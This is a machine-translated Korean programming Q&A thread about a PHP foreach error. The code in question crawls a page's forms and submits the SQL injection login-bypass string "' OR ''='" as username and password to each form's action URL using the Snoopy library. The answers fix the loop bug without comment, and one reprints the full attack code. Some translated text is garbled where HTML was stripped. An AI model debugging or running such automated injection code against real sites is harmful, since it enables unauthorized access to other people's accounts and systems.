2013-02-14 2 views
0

내가 foreach($element->action as $URI){ // find action="" attr of <form> element중첩 된 foreach는() 루프 PHP CodeIgniter의-PHP는 오류

내 코드는 중첩 된 foreach는() 루프되는이 라인에 Message: Invalid argument supplied for foreach()

받고 있어요 : 나는 정의

  $siteToSearch = file_get_html($prefix.$sss); 
       foreach($siteToSearch->find('form') as $element){ // find <form> element 
        foreach($element->action as $URI){ // find action="" attr of <form> element 
         $submit_vars["name"] = "' OR ''='";      
         $submit_vars["passwd"] = "' OR ''='";     
         $submit_vars["submit"] = "Submit"; 
         $snoopy->submit($URI,$submit_vars); 
         echo "response code: ".$snoopy->response_code."<br>\n"; 
         print $snoopy->results; 
        } 
    } 

시도 첫 번째 줄의 $URI$URI = $element->action;이지만이 문제는 수정되지 않는 것 같습니다.

+0

왜이 중첩 루프입니까? 바깥 쪽 루프는 모든 '

' 요소를 통해 반복되고있는 것처럼 보이지만, 내부 루프는' '에 여러 동작이있을 수 있다고 가정 할 때만 의미가 있습니다. –

+0

그레이트 포인트 존. 답변으로 게시 할 수 있습니까? – CodeTalk

답변

1

아래에 주어진 같은 코드가 뭔가 될 것으로 내부 루프를 넣어주십시오하지 당신은 얻을 인자 (여기서는 $element->action 임)가 배열 (또는 배열과 비슷한 것)이 아닐 때 foreach()에 대한 잘못된 인수가 제공되었습니다.

여기서 문제는 실제로 내부가 필요 없다는 것입니다. foreach 루프. $element->action은 HTML 양식 요소의 "action"속성을 나타내는 것으로 보입니다. 각 폼은 하나의 액션만을 가질 수 있습니다. PHP는 배열이 아닌 문자열로 표현됩니다.

앞에서 언급 한 것처럼 내부 루프를 제거하고 간단히 라인을 추가하면 $URI = $element->action이이 문제를 해결해야합니다.

+0

좋은 생각, 여기 내 논리에 혼란스러워. 고마워 !! – CodeTalk

0

$element->action 어떤 값이 있거나 첫번째 루프 후 print_r($element);을 사용하시기 바랍니다과 조건이 성립 ==>if($element->action) { }

$siteToSearch = file_get_html($prefix.$sss); foreach($siteToSearch->find('form') as $element){ // find <form> element if($element->action) { foreach($element->action as $URI){ // find action="" attr of <form> element $submit_vars["name"] = "' OR ''='";
$submit_vars["passwd"] = "' OR ''='";
$submit_vars["submit"] = "Submit";
$snoopy->submit($URI,$submit_vars); echo "response code: ".$snoopy->response_code."<br>\n"; print $snoopy->results; } } }